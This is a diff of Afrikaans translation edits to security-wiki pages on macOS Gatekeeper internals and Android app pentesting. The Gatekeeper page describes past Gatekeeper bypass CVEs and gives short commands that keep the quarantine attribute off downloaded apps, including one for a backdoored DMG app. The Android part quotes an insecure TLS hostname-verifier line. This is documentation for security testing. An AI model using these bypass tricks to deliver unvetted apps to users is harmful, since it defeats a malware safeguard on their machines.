- Magisk: CVE-2024-48336 (MagiskEoP) het getoon dat selfs volwasse ekosisteme kwesbaar kan wees vir identiteit spoofing wat lei tot kode uitvoering met root binne bestuurder konteks.
---
## Verwysings
## References
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)

54
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md
View File

@ -13,7 +13,7 @@ Boonop versterk Gatekeeper gebruikersbeheer en sekuriteit deur **gebruikers te v
### Toepassing Handtekeninge
Toepassing handtekeninge, ook bekend as kodehandtekeninge, is 'n kritieke komponent van Apple se sekuriteitsinfrastruktuur. Hulle word gebruik om die **identiteit van die sagteware-outeur** (die ontwikkelaar) te **verifieer** en om te verseker dat die kode nie gewysig is sedert dit laas onderteken is nie.
Toepassing handtekeninge, ook bekend as kodehandtekeninge, is 'n kritieke komponent van Apple se sekuriteitsinfrastruktuur. Hulle word gebruik om die **identiteit van die sagteware-outeur** (die ontwikkelaar) te **verifieer** en om te verseker dat die kode nie gewysig is nie sedert dit laas onderteken is.
Hier is hoe dit werk:
@ -44,13 +44,13 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### Notarisering
### Notarization
Apple se notarisering proses dien as 'n addisionele beskerming om gebruikers te beskerm teen potensieel skadelike sagteware. Dit behels die **ontwikkelaar wat hul aansoek indien vir ondersoek** deur **Apple se Notary Service**, wat nie verwar moet word met App Review nie. Hierdie diens is 'n **geoutomatiseerde stelsel** wat die ingediende sagteware ondersoek op die teenwoordigheid van **kwaadaardige inhoud** en enige potensiële probleme met kode-handtekening.
Apple se notarization proses dien as 'n addisionele beskerming om gebruikers te beskerm teen moontlik skadelike sagteware. Dit behels die **ontwikkelaar wat hul aansoek indien vir ondersoek** deur **Apple se Notary Service**, wat nie verwar moet word met App Review nie. Hierdie diens is 'n **geoutomatiseerde stelsel** wat die ingediende sagteware ondersoek op die teenwoordigheid van **kwaadaardige inhoud** en enige potensiële probleme met kode-handtekening.
As die sagteware **slaag** vir hierdie inspeksie sonder om enige bekommernisse te wek, genereer die Notary Service 'n notariseringsticket. Die ontwikkelaar moet dan **hierdie ticket aan hul sagteware heg**, 'n proses bekend as 'stapling.' Verder word die notariseringsticket ook aanlyn gepubliseer waar Gatekeeper, Apple se sekuriteitstegnologie, dit kan toegang.
As die sagteware **deurgekom** het hierdie inspeksie sonder om enige bekommernisse te laat ontstaan, genereer die Notary Service 'n notarization kaartjie. Die ontwikkelaar moet dan **hierdie kaartjie aan hul sagteware heg**, 'n proses bekend as 'stapling.' Verder, die notarization kaartjie word ook aanlyn gepubliseer waar Gatekeeper, Apple se sekuriteitstegnologie, dit kan toegang.
By die gebruiker se eerste installasie of uitvoering van die sagteware, **informeer die bestaan van die notariseringsticket - of dit aan die uitvoerbare geheg is of aanlyn gevind word - Gatekeeper dat die sagteware deur Apple genotarieer is**. As gevolg hiervan vertoon Gatekeeper 'n beskrywende boodskap in die aanvanklike lanseringsdialoog, wat aandui dat die sagteware deur Apple op kwaadaardige inhoud nagegaan is. Hierdie proses verbeter dus die gebruiker se vertroue in die sekuriteit van die sagteware wat hulle op hul stelsels installeer of uitvoer.
By die gebruiker se eerste installasie of uitvoering van die sagteware, die bestaan van die notarization kaartjie - of dit aan die uitvoerbare geheg is of aanlyn gevind word - **informeer Gatekeeper dat die sagteware deur Apple notarized is**. As gevolg hiervan, vertoon Gatekeeper 'n beskrywende boodskap in die aanvanklike lanseringsdialoog, wat aandui dat die sagteware onderhewig was aan kontrole vir kwaadaardige inhoud deur Apple. Hierdie proses verbeter dus die gebruiker se vertroue in die sekuriteit van die sagteware wat hulle op hul stelsels installeer of uitvoer.
### spctl & syspolicyd
@ -186,9 +186,9 @@ Wanneer 'n **toepassing** of lêer afgelaai word, heg spesifieke macOS **toepass
**Die teenwoordigheid van 'n quarantine flag dui die macOS se Gatekeeper sekuriteitskenmerk aan wanneer 'n gebruiker probeer om die lêer uit te voer**.
In die geval waar die **quarantine flag nie teenwoordig is nie** (soos met lêers afgelaai via sommige BitTorrent kliënte), mag Gatekeeper se **kontroles nie uitgevoer word nie**. Dus, gebruikers moet versigtig wees wanneer hulle lêers oopmaak wat afgelaai is van minder veilige of onbekende bronne.
In die geval waar die **quarantine flag nie teenwoordig is nie** (soos met lêers afgelaai via sommige BitTorrent kliënte), mag Gatekeeper se **kontroles nie uitgevoer word nie**. Dus, gebruikers moet versigtig wees wanneer hulle lêers oopmaak wat van minder veilige of onbekende bronne afgelaai is.
> [!NOTE] > **Kontroleer** die **geldigheid** van kodehandtekeninge is 'n **hulpbron-intensiewe** proses wat die generering van kriptografiese **hashes** van die kode en al sy saamgebonde hulpbronne insluit. Verder behels die kontrole van sertifikaatgeldigheid 'n **aanlyn kontrole** teen Apple se bedieners om te sien of dit herroep is nadat dit uitgereik is. Om hierdie redes is 'n volledige kodehandtekening en notariseringskontrole **onprakties om elke keer uit te voer wanneer 'n app gelaai word**.
> [!NOTE] > **Kontroleer** die **geldigheid** van kode handtekeninge is 'n **hulpbron-intensiewe** proses wat die generering van kriptografiese **hashes** van die kode en al sy saamgebonde hulpbronne insluit. Verder behels die kontrole van sertifikaat geldigheid 'n **aanlyn kontrole** teen Apple se bedieners om te sien of dit herroep is nadat dit uitgereik is. Om hierdie redes is 'n volledige kode handtekening en notarization kontrole **onprakties om elke keer uit te voer wanneer 'n app gelaai word**.
>
> Daarom word hierdie kontroles **slegs uitgevoer wanneer toepassings met die quarantined eienskap uitgevoer word.**
@ -199,7 +199,7 @@ In die geval waar die **quarantine flag nie teenwoordig is nie** (soos met lêer
Boonop is alle lêers wat deur 'n proses wat **`qtn_proc_apply_to_self`** aanroep, in kwarantyn. Of die API **`qtn_file_apply_to_path`** voeg die kwarantyn eienskap by 'n gespesifiseerde lêer pad.
Dit is moontlik om die **status te kontroleer en in/uit te skakel** (root benodig) met:
Dit is moontlik om **sy status te kontroleer en in/uit te skakel** (root benodig) met:
```bash
spctl --status
assessments enabled
@ -230,11 +230,11 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Werklik kan 'n proses "karantynvlagte aan die lêers wat dit skep, stel" (Ek het al probeer om die USER_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie):
Werklik kan 'n proses "kwarantynvlagte aan die lêers wat dit skep, stel" (Ek het al probeer om die USER_APPROVED-vlag in 'n geskepte lêer toe te pas, maar dit sal nie toegepas word nie):
<details>
<summary>Bronkode toepas karantynvlagte</summary>
<summary>Bronkode pas kwarantynvlagte toe</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -306,7 +306,7 @@ En vind al die karantynlêers met:
```bash
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
```
Quarantaine-inligting word ook in 'n sentrale databasis gestoor wat deur LaunchServices bestuur word in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, wat die GUI in staat stel om data oor die lêer oorspronge te verkry. Boonop kan dit oorgeskryf word deur toepassings wat dalk belangstel om sy oorspronge te verberg. Dit kan ook vanaf LaunchServices APIS gedoen word.
Quarantaine-inligting word ook in 'n sentrale databasis gestoor wat deur LaunchServices bestuur word in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, wat die GUI toelaat om data oor die lêer oorspronge te verkry. Boonop kan dit oorgeskryf word deur toepassings wat dalk belangstel om sy oorspronge te verberg. Dit kan ook vanaf LaunchServices APIS gedoen word.
#### **libquarantine.dylib**
@ -327,9 +327,9 @@ Dit gebruik ook 'n paar MIBs:
#### Provenance xattr (Ventura en later)
macOS 13 Ventura het 'n aparte oorsprong meganisme bekendgestel wat die eerste keer ingevul word wanneer 'n quarantaine toepassing toegelaat word om te loop. Twee artefakte word geskep:
macOS 13 Ventura het 'n aparte oorsprong meganisme bekendgestel wat die eerste keer bevolk word wanneer 'n quarantaine toepassing toegelaat word om te loop. Twee artefakte word geskep:
- Die `com.apple.provenance` xattr op die `.app` bundel gids (vaste grootte binêre waarde wat 'n primêre sleutel en vlae bevat).
- Die `com.apple.provenance` xattr op die `.app` bundel gids (vasgrootte binêre waarde wat 'n primêre sleutel en vlae bevat).
- 'n Ry in die `provenance_tracking` tabel binne die ExecPolicy databasis by `/var/db/SystemPolicyConfiguration/ExecPolicy/` wat die toepassing se cdhash en metadata stoor.
Praktiese gebruik:
@ -345,7 +345,7 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
```
### XProtect
XProtect is 'n ingeboude **anti-malware** kenmerk in macOS. XProtect **kontroleer enige toepassing wanneer dit vir die eerste keer gelaai of gewysig word teen sy databasis** van bekende malware en onveilige lêertipes. Wanneer jy 'n lêer aflaai deur sekere toepassings, soos Safari, Mail, of Messages, skandeer XProtect outomaties die lêer. As dit ooreenstem met enige bekende malware in sy databasis, sal XProtect **verhoed dat die lêer loop** en jou waarsku oor die bedreiging.
XProtect is 'n ingeboude **anti-malware** kenmerk in macOS. XProtect **kontroleer enige toepassing wanneer dit vir die eerste keer gelaai of gewysig word teen sy databasis** van bekende malware en onveilige lêertipes. Wanneer jy 'n lêer aflaai deur sekere toepassings, soos Safari, Mail of Messages, skandeer XProtect outomaties die lêer. As dit ooreenstem met enige bekende malware in sy databasis, sal XProtect **verhoed dat die lêer loop** en jou waarsku oor die bedreiging.
Die XProtect-databasis word **gereeld opgedateer** deur Apple met nuwe malware-definisies, en hierdie opdaterings word outomaties afgelaai en op jou Mac geïnstalleer. Dit verseker dat XProtect altyd op datum is met die nuutste bekende bedreigings.
@ -373,25 +373,25 @@ Let daarop dat daar 'n ander App in **`/Library/Apple/System/Library/CoreService
### Nie Gatekeeper nie
> [!CAUTION]
> Let daarop dat Gatekeeper **nie elke keer uitgevoer word** wanneer jy 'n toepassing uitvoer nie, net _**AppleMobileFileIntegrity**_ (AMFI) sal slegs **uitvoerbare kode handtekeninge verifieer** wanneer jy 'n app uitvoer wat reeds deur Gatekeeper uitgevoer en geverifieer is.
> Let daarop dat Gatekeeper **nie elke keer uitgevoer word** wanneer jy 'n toepassing uitvoer nie, net _**AppleMobileFileIntegrity**_ (AMFI) sal slegs **uitvoerende kode handtekeninge verifieer** wanneer jy 'n app uitvoer wat reeds deur Gatekeeper uitgevoer en geverifieer is.
Daarom was dit voorheen moontlik om 'n app uit te voer om dit met Gatekeeper te kas, dan **nie-uitvoerbare lêers van die toepassing te wysig** (soos Electron asar of NIB lêers) en as daar geen ander beskermings in plek was nie, is die toepassing **uitgevoer** met die **kwaadwillige** toevoegings.
Daarom was dit voorheen moontlik om 'n app uit te voer om dit met Gatekeeper te kas, dan **nie-uitvoerende lêers van die toepassing te wysig** (soos Electron asar of NIB lêers) en as daar geen ander beskermings in plek was nie, is die toepassing **uitgevoer** met die **kwaadwillige** toevoegings.
Nou is dit egter nie meer moontlik nie omdat macOS **veranderings aan lêers** binne toepassingsbundels voorkom. So, as jy die [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) aanval probeer, sal jy vind dat dit nie meer moontlik is om dit te misbruik nie omdat jy, nadat jy die app uitgevoer het om dit met Gatekeeper te kas, nie die bundel kan wysig nie. En as jy byvoorbeeld die naam van die Contents gids na NotCon verander (soos in die uitbuiting aangedui), en dan die hoof binêre van die app uitvoer om dit met Gatekeeper te kas, sal dit 'n fout veroorsaak en nie uitvoer nie.
Nou is dit egter nie meer moontlik nie omdat macOS **voorkom dat lêers** binne toepassingsbundels gewysig word. So, as jy die [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) aanval probeer, sal jy vind dat dit nie meer moontlik is om dit te misbruik nie omdat jy, nadat jy die app uitgevoer het om dit met Gatekeeper te kas, nie die bundel kan wysig nie. En as jy byvoorbeeld die naam van die Contents gids na NotCon verander (soos in die uitbuiting aangedui), en dan die hoof binêre van die app uitvoer om dit met Gatekeeper te kas, sal dit 'n fout veroorsaak en nie uitvoer nie.
## Gatekeeper Omseilings
Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit moet verbied) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVE's wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil:
Enige manier om Gatekeeper te omseil (om te regverdig dat die gebruiker iets aflaai en dit uitvoer wanneer Gatekeeper dit sou verhoed) word beskou as 'n kwesbaarheid in macOS. Dit is 'n paar CVE's wat aan tegnieke toegeken is wat in die verlede toegelaat het om Gatekeeper te omseil:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Daar is waargeneem dat as die **Archive Utility** vir ekstraksie gebruik word, lêers met **pade wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide eienskap ontvang nie. Hierdie situasie laat daardie lêers per ongeluk toe om **Gatekeeper se** sekuriteitskontroles te omseil.
Daar is waargeneem dat as die **Archive Utility** gebruik word vir ekstraksie, lêers met **paaie wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide eienskap ontvang nie. Hierdie situasie laat daardie lêers per ongeluk toe om **Gatekeeper se** sekuriteitskontroles te omseil.
Kyk na die [**oorspronklike verslag**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) vir meer inligting.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Wanneer 'n toepassing met **Automator** geskep word, is die inligting oor wat dit benodig om uit te voer binne `application.app/Contents/document.wflow` en nie in die uitvoerbare nie. Die uitvoerbare is net 'n generiese Automator binêre genaamd **Automator Application Stub**.
Wanneer 'n toepassing geskep word met **Automator**, is die inligting oor wat dit benodig om uit te voer binne `application.app/Contents/document.wflow` en nie in die uitvoerbare nie. Die uitvoerbare is net 'n generiese Automator binêre genaamd **Automator Application Stub**.
Daarom kon jy `application.app/Contents/MacOS/Automator\ Application\ Stub` **met 'n simboliese skakel na 'n ander Automator Application Stub binne die stelsel laat wys** en dit sal uitvoer wat binne `document.wflow` (jou skrip) is **sonder om Gatekeeper te aktiveer** omdat die werklike uitvoerbare nie die kwarantyn xattr het nie.
@ -405,7 +405,7 @@ In hierdie omseiling is 'n zip-lêer geskep met 'n toepassing wat begin om te ko
```bash
zip -r test.app/Contents test.zip
```
Kontrollering die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) vir meer inligting.
Kontroleer die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) vir meer inligting.
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
@ -417,7 +417,7 @@ Kontroleer die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
Die ACL **`writeextattr`** kan gebruik word om te voorkom dat enigiemand 'n attribuut in 'n lêer skryf:
Die ACL **`writeextattr`** kan gebruik word om te verhoed dat enigiemand 'n attribuut in 'n lêer skryf:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -426,7 +426,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Boonop, **AppleDouble** lêerformaat kopieer 'n lêer insluitend sy ACE's.
In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat saamgepers het met 'n ACL wat voorkom dat ander xattrs daarin geskryf kan word... was die kwarantyn xattr nie in die toepassing gestel nie:
In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL teksverteenwoordiging wat binne die xattr genaamd **`com.apple.acl.text`** gestoor is, as ACL in die gedecomprimeerde lêer gestel gaan word. So, as jy 'n toepassing in 'n zip-lêer met **AppleDouble** lêerformaat gekompresseer het met 'n ACL wat voorkom dat ander xattrs daarin geskryf kan word... was die kwarantyn xattr nie in die toepassing gestel nie:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -458,7 +458,7 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
Deur 'n lêer te kan skep wat nie die kwarantyn-attribuut sal hê nie, was dit **moontlik om Gatekeeper te omseil.** Die truuk was om 'n **DMG-lêertoepassing** te skep met die AppleDouble naamkonvensie (begin dit met `._`) en 'n **sigbare lêer as 'n simlink na hierdie versteekte** lêer te skep sonder die kwarantyn-attribuut.\
Die vermoë om 'n lêer te skep wat nie die kwarantyn-attribuut sal hê nie, het dit **moontlik gemaak om Gatekeeper te omseil.** Die truuk was om 'n **DMG-lêertoepassing** te **skep met die AppleDouble naamkonvensie** (begin dit met `._`) en 'n **sigbare lêer as 'n simlink na hierdie versteekte** lêer te skep sonder die kwarantyn-attribuut.\
Wanneer die **dmg-lêer uitgevoer word**, sal dit, aangesien dit nie 'n kwarantyn-attribuut het nie, **Gatekeeper omseil.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -501,9 +501,9 @@ Verskeie kwesbaarhede in gewilde onttrekkingshulpmiddels (bv. The Unarchiver) he
In 'n ".app" bundel, as die kwarantyn xattr nie daaraan bygevoeg word nie, wanneer dit uitgevoer word **sal Gatekeeper nie geaktiveer word**.
## References
## Verwysings
- Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084)
- Eclectic Light: How macOS now tracks the provenance of apps – [https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/](https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/)
- Apple Platform Security: Oor die sekuriteitsinhoud van macOS Sonoma 14.4 (sluit CVE-2024-27853 in) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084)
- Eclectic Light: Hoe macOS nou die oorsprong van toepassings volg – [https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/](https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/)
{{#include ../../../banners/hacktricks-training.md}}

120
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -65,24 +65,24 @@ Asseblief, [**lees hier om inligting oor verskillende beskikbare decompilers te
### Soek na interessante Inligting
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of verifikasie backdoors (hardcoded admin akrediteer aan die app).
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of autentikasie backdoors (hardcoded admin akrediteer aan die app).
**Firebase**
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer uitbreiding na .zip te hernoem en dit dan uit te pak.
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer se uitbreiding na .zip te hernoem en dit dan uit te pak.
**Kw vulnerabilities** wat uit die **Manifest.xml** geïdentifiseer is, sluit in:
- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer ingestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet ingestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
- **Uitsaai Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
@ -100,7 +100,7 @@ tapjacking.md
### Taak Hijacking
'n **aktiwiteit** met die **`launchMode`** ingestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
Meer inligting in:
@ -115,9 +115,9 @@ android-task-hijacking.md
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** kan word. Tog **beperk** hierdie modi **nie die toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
1. **Statiese Analise:**
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel aan** **onbedoelde of ongeoorloofde toegang**.
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel.
2. **Dinamiese Analise:**
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, ingestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
**Eksterne Stoor**
@ -127,20 +127,20 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaart, moet sekere voo
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
2. **Sekuriteitskwesties**:
- Gegewe die maklike toegang, word dit aanbeveel **om sensitiewe inligting nie op eksterne stoor te stoor nie**.
- Eksterne stoor kan verwyder of deur enige toepassing toegang verkry, wat dit minder veilig maak.
- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
3. **Hantering van Data van Eksterne Stoor**:
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- Dit word sterk ontmoedig om uitvoerbare of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> Begin met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
> Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
**Sensitiewe data gestoor in duidelike teks**
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml-lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Databasisse**: Android laat elke toepassing toe om maklik sqlite databasisse in die pad `/data/data/<packagename>/databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
### Gebroke TLS
@ -158,11 +158,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**Swak Sleutelbestuurproses**
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer of voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
**Gebruik van Onveilige en/of Verouderde Algoritmes**
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
